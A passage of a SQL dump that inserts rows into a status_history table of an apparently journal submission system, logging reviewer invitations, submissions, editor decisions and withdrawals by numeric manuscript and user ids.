00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61370,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61371,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61372,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61373,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61374,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61414,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7098,'Author',8366),(61433,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7095,'Publisher',274),(61435,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7080,'Editor',194),(61436,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7080,'Editor',194),(61439,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7080,'Publisher',48),(61471,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7102,'Author',8371),(61476,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7104,'Author',8373),(61477,'0000-00-00 00:00:00','Reviewer has submitted comments',6848,'Reviewer',15826),(61478,'0000-00-00 00:00:00','Author sent Email',7086,'Author',8352),(61481,'0000-00-00 00:00:00','Reviewer has submitted comments',7093,'Reviewer',11519),(61484,'0000-00-00 00:00:00','Manuscript Submitted by Author',7107,'Author',8264),(61485,'0000-00-00 00:00:00','Author sent Email',7077,'Author',8264),(61486,'0000-00-00 00:00:00','Reviewer has submitted comments',7030,'Reviewer',15826),(61488,'0000-00-00 00:00:00','Reviewer has updated comments',7063,'Reviewer',11354),(61491,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7091,'Publisher',48),(61492,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7091,'Publisher',48);
INSERT INTO `status_history` VALUES (61493,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7091,'Publisher',48),(61494,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7091,'Publisher',48),(61497,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7089,'Publisher',48),(61498,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7089,'Publisher',48),(61499,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7093,'Editor',194),(61500,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7093,'Editor',194),(61501,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7091,'Editor',194),(61502,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7091,'Editor',194),(61503,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7089,'Editor',194),(61504,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7089,'Editor',194),(61505,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7077,'Editor',194),(61506,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7077,'Editor',194),(61507,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7093,'Publisher',48),(61508,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7091,'Publisher',48),(61509,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7089,'Publisher',48),(61510,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7077,'Publisher',48),(61520,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7110,'Author',8379),(61553,'0000-00-00 00:00:00','Publisher : Notified Editor',7030,'Publisher',85),(61554,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7030,'Editor',1291),(61555,'0000-00-00 00:00:00','Publisher : Notified Author',7030,'Publisher',85),(61556,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7086,'Publisher',319),(61557,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7111,'Author',8380),(61560,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7030,'Editor',1291),(61561,'0000-00-00 00:00:00','Reviewer has submitted comments',6851,'Reviewer',15589),(61562,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7114,'Author',8384),(61563,'0000-00-00 00:00:00','Manuscript Submitted by Author',7115,'Author',5341),(61565,'0000-00-00 00:00:00','Reviewer has submitted comments',6851,'Reviewer',15586),(61573,'0000-00-00 00:00:00','Reviewer has updated comments',6973,'Reviewer',11355),(61574,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7117,'Author',8388),(61577,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7121,'Author',8392),(61581,'0000-00-00 00:00:00','Manuscript Submitted by Author',7125,'Author',8395),(61584,'0000-00-00 00:00:00','Publisher : Notified Author',7030,'Publisher',85),(61585,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6851,'Editor',1343),(61586,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6851,'Editor',1343),(61587,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(61589,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7098,'Publisher',48),(61590,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7098,'Publisher',48),(61591,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7098,'Publisher',48),(61592,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7098,'Publisher',48),(61593,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7098,'Publisher',48),(61600,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7102,'Publisher',48),(61601,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7102,'Publisher',48),(61602,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7102,'Publisher',48),(61603,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7102,'Publisher',48),(61604,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7102,'Publisher',48),(61605,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7102,'Publisher',48),(61606,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7102,'Publisher',48),(61607,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7104,'Publisher',645),(61615,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(61616,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(61617,'0000-00-00 00:00:00','Publisher : Notified Editor',6631,'Publisher',984),(61618,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61619,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61620,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61621,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61622,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61623,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61624,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61625,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61626,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61627,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61628,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61629,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61630,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61631,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61632,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61633,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61634,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6929,'Publisher',84),(61635,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61636,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61637,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61638,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61639,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61640,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61641,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61642,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61643,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61644,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61645,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61646,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61647,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61648,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61649,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(61650,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7034,'Publisher',75),(61651,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7060,'Publisher',75),(61664,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(61665,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(61666,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(61667,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6986,'Publisher',75),(61668,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6986,'Publisher',75),(61669,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6986,'Publisher',75),(61670,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6986,'Publisher',75),(61671,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7111,'Publisher',48),(61672,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7111,'Publisher',48),(61673,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7111,'Publisher',48),(61674,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7111,'Publisher',48),(61675,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7111,'Publisher',48),(61676,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7111,'Publisher',48),(61677,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',5197,'Publisher',75),(61680,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6096,'Publisher',75),(61681,'0000-00-00 00:00:00','Manuscript Submitted by Author',7128,'Author',8297),(61682,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6242,'Publisher',75),(61684,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6253,'Publisher',75),(61785,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6914,'Publisher',75),(61786,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6914,'Publisher',75),(61787,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6914,'Publisher',75),(61788,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6914,'Publisher',75),(61789,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6905,'Publisher',75),(61790,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6905,'Publisher',75),(61791,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6905,'Publisher',75),(61797,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6986,'Publisher',75),(61807,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6368,'Publisher',75),(61808,'0000-00-00 00:00:00','Reviewer has submitted comments',6368,'Reviewer',13225),(61809,'0000-00-00 00:00:00','Publisher : Notified Editor',6368,'Publisher',75),(61810,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6817,'Editor',161),(61811,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7034,'Editor',161),(61812,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6986,'Editor',161),(61813,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6914,'Editor',161),(61814,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6824,'Editor',161),(61815,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6368,'Editor',161),(61816,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6368,'Publisher',75),(61829,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7110,'Publisher',75),(61830,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7114,'Publisher',75),(61831,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7115,'Publisher',75),(61832,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7117,'Publisher',48),(61833,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7117,'Publisher',48),(61834,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7117,'Publisher',48),(61835,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7117,'Publisher',48),(61836,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7117,'Publisher',48),(61837,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7117,'Publisher',48),(61838,'0000-00-00 00:00:00','Reviewer has submitted comments',7117,'Reviewer',5467),(61839,'0000-00-00 00:00:00','Reviewer has submitted comments',7117,'Reviewer',5467),(61840,'0000-00-00 00:00:00','Reviewer has submitted comments',7102,'Reviewer',5467),(61841,'0000-00-00 00:00:00','Reviewer has submitted comments',7102,'Reviewer',5467),(61843,'0000-00-00 00:00:00','Reviewer has submitted comments',6848,'Reviewer',15586),(61844,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7132,'Author',8402),(61850,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7110,'Editor',160),(61851,'0000-00-00 00:00:00','Editor has Invited Reviewer',7110,'Editor',160),(61852,'0000-00-00 00:00:00','Editor has Invited Reviewer',7110,'Editor',160),(61853,'0000-00-00 00:00:00','Editor has Invited Reviewer',7110,'Editor',160),(61854,'0000-00-00 00:00:00','Editor has Invited Reviewer',7110,'Editor',160),(61855,'0000-00-00 00:00:00','Editor has Invited Reviewer',7110,'Editor',160),(61856,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7134,'Author',8404),(61857,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7121,'Publisher',274),(61959,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6905,'Publisher',75),(61965,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7125,'Publisher',48),(61966,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6684,'Publisher',75),(61967,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7125,'Publisher',48),(61968,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7125,'Publisher',48),(61969,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7125,'Publisher',48),(61970,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7125,'Publisher',48),(61971,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7125,'Publisher',48),(61972,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7117,'Publisher',48),(61973,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7111,'Publisher',48),(61974,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7102,'Publisher',48),(61975,'0000-00-00 00:00:00','Reviewer has submitted comments',6684,'Reviewer',13225),(61976,'0000-00-00 00:00:00','Publisher : Notified Editor',6684,'Publisher',75),(61977,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7135,'Publisher',645),(61978,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7060,'Editor',162),(61979,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7115,'Editor',162),(61980,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6905,'Editor',162),(61981,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6684,'Editor',162),(61982,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6684,'Publisher',75),(61990,'0000-00-00 00:00:00','Reviewer has submitted comments',6934,'Reviewer',13913),(61991,'0000-00-00 00:00:00','Reviewer has submitted comments',6934,'Reviewer',13913),(61992,'0000-00-00 00:00:00','Reviewer has submitted comments',6934,'Reviewer',13913),(61993,'0000-00-00 00:00:00','Reviewer has submitted comments',6934,'Reviewer',13913),(61994,'0000-00-00 00:00:00','Reviewer has submitted comments',6934,'Reviewer',13913),(61995,'0000-00-00 00:00:00','Reviewer has submitted comments',6934,'Reviewer',13913),(61996,'0000-00-00 00:00:00','Reviewer has updated comments',6934,'Reviewer',13913),(61997,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6934,'Publisher',48),(62002,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7125,'Publisher',48),(62003,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7125,'Publisher',48),(62006,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6905,'Publisher',75),(62007,'0000-00-00 00:00:00','Publisher : Notified Editor',6848,'Publisher',85),(62008,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6848,'Editor',1574),(62009,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6848,'Editor',1574),(62010,'0000-00-00 00:00:00','Publisher : Notified Author',6848,'Publisher',85),(62011,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7128,'Publisher',48),(62012,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7128,'Publisher',48),(62014,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6959,'Publisher',376),(62015,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6953,'Publisher',376),(62016,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6953,'Publisher',376),(62017,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6953,'Publisher',376),(62018,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6953,'Publisher',376),(62019,'0000-00-00 00:00:00','Reviewer has submitted comments',6905,'Reviewer',13225),(62020,'0000-00-00 00:00:00','Publisher : Notified Editor',6905,'Publisher',75),(62022,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6989,'Publisher',48),(62025,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6989,'Editor',194),(62026,'0000-00-00 00:00:00','Reviewer has submitted comments',6989,'Reviewer',11689),(62029,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6989,'Publisher',48),(62031,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7084,'Editor',633),(62032,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7084,'Editor',633),(62033,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7104,'Editor',633),(62034,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7104,'Editor',633),(62055,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7102,'Editor',194),(62056,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7102,'Editor',194),(62057,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7102,'Publisher',48),(62076,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7132,'Publisher',75),(62126,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7134,'Publisher',248),(62129,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7088,'Publisher',248),(62130,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7088,'Publisher',248),(62131,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7088,'Publisher',248),(62132,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7088,'Publisher',248),(62133,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7088,'Publisher',248),(62134,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7088,'Publisher',248),(62135,'0000-00-00 00:00:00','Reviewer has submitted comments',7125,'Reviewer',5467),(62136,'0000-00-00 00:00:00','Reviewer has submitted comments',7125,'Reviewer',5467),(62140,'0000-00-00 00:00:00','Author sent Email',6644,'Author',7901),(62180,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7145,'Publisher',85),(62181,'0000-00-00 00:00:00','Reviewer has submitted comments',7014,'Reviewer',13913),(62182,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7014,'Publisher',48),(62196,'0000-00-00 00:00:00','Reviewer has submitted comments',6851,'Reviewer',15588),(62219,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7095,'Publisher',274),(62220,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7095,'Publisher',274),(62221,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7095,'Publisher',274),(62222,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7121,'Publisher',274),(62223,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7121,'Publisher',274),(62224,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7121,'Publisher',274),(62225,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7121,'Publisher',274),(62226,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7062,'Publisher',48),(62227,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7034,'Publisher',75),(62228,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7034,'Publisher',75),(62229,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7034,'Publisher',75),(62230,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7034,'Publisher',75),(62231,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7060,'Publisher',75),(62232,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7060,'Publisher',75),(62233,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7060,'Publisher',75),(62234,'0000-00-00 00:00:00','Reviewer has submitted comments',7062,'Reviewer',11689),(62235,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7060,'Publisher',75),(62236,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7060,'Publisher',75),(62237,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7060,'Publisher',75),(62238,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7062,'Editor',194),(62239,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7062,'Publisher',48),(62240,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7062,'Publisher',48),(62242,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7114,'Publisher',75),(62243,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7114,'Publisher',75),(62244,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7114,'Publisher',75),(62246,'0000-00-00 00:00:00','Manuscript has been Revised',6843,'Author',6984),(62247,'0000-00-00 00:00:00','Manuscript has been Revised',6971,'Author',6984),(62262,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7115,'Publisher',75),(62263,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7115,'Publisher',75),(62264,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7115,'Publisher',75),(62265,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7115,'Publisher',75),(62266,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7115,'Publisher',75),(62267,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7115,'Publisher',75),(62268,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7132,'Publisher',75),(62269,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7132,'Publisher',75),(62270,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7132,'Publisher',75),(62271,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7132,'Publisher',75),(62272,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7132,'Publisher',75),(62274,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6905,'Editor',162),(62275,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6905,'Publisher',75),(62287,'0000-00-00 00:00:00','Reviewer has updated comments',6905,'Reviewer',16051),(62288,'0000-00-00 00:00:00','Reviewer has submitted comments',7132,'Reviewer',16051),(62323,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7150,'Author',8423),(62328,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7135,'Publisher',645),(62340,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6784,'Publisher',85),(62344,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6784,'Publisher',85),(62355,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',4724,'Publisher',376),(62357,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6752,'Publisher',376),(62358,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7151,'Publisher',48),(62361,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7117,'Editor',194),(62362,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7117,'Editor',194),(62363,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7098,'Editor',194),(62364,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7098,'Editor',194),(62365,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7117,'Publisher',48),(62366,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7098,'Publisher',48),(62368,'0000-00-00 00:00:00','Reviewer has submitted comments',7095,'Reviewer',15857),(62369,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7095,'Editor',1235),(62370,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7095,'Editor',1235),(62371,'0000-00-00 00:00:00','Publisher : Notified Author',7095,'Publisher',274),(62387,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7145,'Publisher',85),(62445,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7158,'Publisher',645),(62446,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7102,'Publisher',48),(62448,'0000-00-00 00:00:00','Reviewer has submitted comments',7102,'Reviewer',11689),(62451,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7159,'Publisher',645),(62452,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7160,'Author',8431),(62480,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7163,'Author',8434),(62482,'0000-00-00 00:00:00','Manuscript Submitted by Author',7164,'Author',8435),(62483,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7165,'Author',8436),(62484,'0000-00-00 00:00:00','Manuscript Submitted by Author',7166,'Author',7901),(62524,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6862,'Publisher',988),(62525,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6549,'Editor',359),(62526,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7039,'Editor',359),(62527,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7088,'Editor',359),(62528,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7134,'Editor',359),(62529,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7017,'Editor',359),(62530,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6915,'Editor',359),(62531,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6915,'Editor',359),(62532,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6915,'Publisher',248),(62535,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7017,'Publisher',248),(62542,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6580,'Publisher',75),(62543,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7135,'Editor',634),(62544,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7135,'Editor',634),(62545,'0000-00-00 00:00:00','Reviewer has submitted comments',6580,'Reviewer',13225),(62546,'0000-00-00 00:00:00','Publisher : Notified Editor',6580,'Publisher',75),(62549,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7125,'Editor',194),(62550,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7125,'Editor',194),(62551,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7125,'Publisher',48),(62566,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7151,'Publisher',48),(62567,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7151,'Publisher',48),(62568,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7151,'Publisher',48),(62569,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7151,'Publisher',48),(62571,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6580,'Editor',160),(62572,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7160,'Publisher',48),(62573,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6580,'Publisher',75),(62575,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7160,'Publisher',48),(62576,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7160,'Publisher',48),(62579,'0000-00-00 00:00:00','Reviewer has submitted comments',7034,'Reviewer',650),(62584,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7150,'Publisher',645),(62590,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7135,'Publisher',645),(62591,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7135,'Publisher',645),(62592,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7104,'Publisher',645),(62593,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7104,'Publisher',645),(62602,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7165,'Publisher',48),(62603,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7165,'Publisher',48),(62604,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7165,'Publisher',48),(62605,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7165,'Publisher',48),(62606,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7165,'Publisher',48),(62607,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7165,'Publisher',48),(62608,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62609,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62610,'0000-00-00 